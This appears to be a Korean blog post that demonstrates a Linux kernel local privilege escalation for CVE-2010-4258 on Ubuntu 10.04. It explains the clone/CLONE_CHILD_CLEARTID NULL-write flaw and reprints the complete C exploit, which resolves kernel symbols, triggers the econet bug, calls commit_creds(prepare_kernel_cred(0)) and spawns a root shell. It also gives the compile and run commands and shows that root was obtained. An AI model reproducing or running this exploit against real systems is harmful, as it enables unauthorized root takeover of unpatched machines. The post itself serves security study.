[Local Exploit] Local Privilege Escalation

[Local Exploit] Local Privilege Escalation

CVE-2010-4258

쓰레드가 CLONE_CHILD_CLEARIED 플레그를 이용하여 Clone(2)를 통해 생성 된경우, NULL 단어는 사용자가 지정한 포인터에 쓰레드 종료를 기록한다. 해당 기록은 put_user()를 사용하여 종료되며, access_ok() 함수를 통해 호출하여 유효한 사용자 공간에 있는 제공 대상자에 확인된다. 하지만, Nelson은 커널이 주소 제한 오버라이트 set_fs(KERNEL_DS)와 OOPSes(via BUG, page fault, etc.), 해당 종료 경로가 put_user() 호출로 복귀되기 전에 사용자를 허용하는 임의의 커널 주소 NULL로 재 작성한다.

This is the interesting one, and the reason I wrote this exploit. If a thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL word will be written to a user-specified pointer when that thread exits. This write is done using put_user(), which ensures the provided destination resides in valid userspace by invoking access_ok().

However, Nelson discovered that when the kernel performs an address limit override via set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, etc.), this override is not reverted before calling put_user() in the exit path, allowing a user to write a NULL word to an arbitrary kernel address. Note that this issue requires an additional vulnerability to trigger.

exploit란?

취약점 공격 또는 익스플로잇(exploit)이란 컴퓨터의 소프트웨어나 하드웨어 및 컴퓨터 관련 전자 제품의 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령, 스크립트, 프로그램 또는 특정한 데이터 조각을 말하며, 이러한 것들을 사용한 공격 행위를 이르기도 한다.

- 위키백과

excution

사용한 OS : Ubuntu 10.04

Kernel 버전 : 2.6.32-21

취약점 버전 : CVE-2010-4258

Ubuntu 실행한다.

~ $ uname -a

Linux ubuntu 2.6.32-21-generic

공격할 exploit의 경우 Linux Kernel 2.6.37 이하 버전에서 발생한다.

~ $ id

현재 로그인한 사용자 계정 권한 확인한다. 일반사용자로 생성한 계정이며 uid 1000을 사용한다.

www.exploit-db.com에서 exploit source 다운로드한다.

http://www.exploit-db.com/exploits/15704/

Source

#include <iostream>
#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
 
/* How many bytes should we clear in our
 * function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif
 
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;
 
        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }
 
repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '\0';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : 
"");
                        fclose(f);
                        return addr;
                }
        }
 
        fclose(f);
        if (rep)
                return 0;
fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                return 0;
        rep = 1;
        goto repeat;
}
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
 
static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
 
        commit_creds(prepare_kernel_cred(0));
        return -1;
 
}
 
/* Why do I do this?  Because on x86-64, the address of
 * commit_creds and prepare_kernel_cred are loaded relative
 * to rip, which means I can't just copy the above payload
 * into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{
 
#ifdef __x86_64__
        asm("mov $getroot, %rax; call *%rax;");
#else
        asm("mov $getroot, %eax; call *%eax;");
#endif
 
}
 
/* Triggers a NULL pointer dereference in econet_sendmsg
 * via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
        int ret;
        struct ifreq ifr;
 
        memset(&ifr, 0, sizeof(ifr));
        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
 
        ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
 
        if(ret < 0) {
                printf("[*] Failed to set Econet address.\n");
                return -1;
        }
 
        splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
 
        /* Shouldn't get here... */
        exit(0);
}
 
int main(int argc, char * argv[])
{
        unsigned long econet_ops, econet_ioctl, target, landing;
        int fildes[4], pid;
        void * newstack, * payload;
 
        /* Create file descriptors now so there are two
           references to them after cloning...otherwise
           the child will never return because it
           deadlocks when trying to unlock various
           mutexes after OOPSing */
        pipe(fildes);
        fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
        fildes[3] = open("/dev/zero", O_RDONLY);
 
        if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
                printf("[*] Failed to open file descriptors.\n");
                return -1;
        }
 
        /* Resolve addresses of relevant symbols */
        printf("[*] Resolving kernel addresses...\n");
        econet_ioctl = get_kernel_sym("econet_ioctl");
        econet_ops = get_kernel_sym("econet_ops");
        commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
 
        if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
                printf("[*] Failed to resolve kernel symbols.\n");
                return -1;
        }
 
        if(!(newstack = malloc(65536))) {
                printf("[*] Failed to allocate memory.\n");
                return -1;
        }
 
        printf("[*] Calculating target...\n");
        target = econet_ops + 10 * sizeof(void *) - OFFSET;
 
        /* Clear the higher bits */
        landing = econet_ioctl << SHIFT >> SHIFT;
 
        payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
 
        if ((long)payload == -1) {
                printf("[*] Failed to mmap() at target address.\n");
                return -1;
        }
 
        memcpy((void *)landing, &trampoline, 1024);
 
        clone((int (*)(void *))trigger,
              (void *)((unsigned long)newstack + 65536),
              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
              &fildes, NULL, NULL, target);
 
        sleep(1);
 
        printf("[*] Triggering payload...\n");
        ioctl(fildes[2], 0, NULL);
 
        if(getuid()) {
                printf("[*] Exploit failed to get root.\n");
                return -1;
        }
 
        printf("[*] Got root!\n");
        execl("/bin/sh", "/bin/sh", NULL);
}

ubuntu 해당 소스코드를 다운받고 gcc를 이용하여 컴파일 한다.

~ $ gcc -o CVE2010-4258 CVE2010-4258.c

~ $ ./CVE2010-4258

exploit 실행하여 root 권한 획득을 확인한다.

uid 0 획득

저작자표시

'30. > 35. Exploit' 카테고리의 다른 글

SandWorm exploit MS파워포인트(PPT) (0)	2014.10.28
[Exploit] Stack Overflow / Heap Overflow / Heap Spray (0)	2014.06.21

새 하드웨어 용량 초과

[Local Exploit] Local Privilege Escalation

'30. > 35. Exploit' 카테고리의 다른 글

티스토리툴바

[Local Exploit] Local Privilege Escalation

'30. > 35. Exploit' 카테고리의 다른 글

'30./35. Exploit' Related Articles

티스토리툴바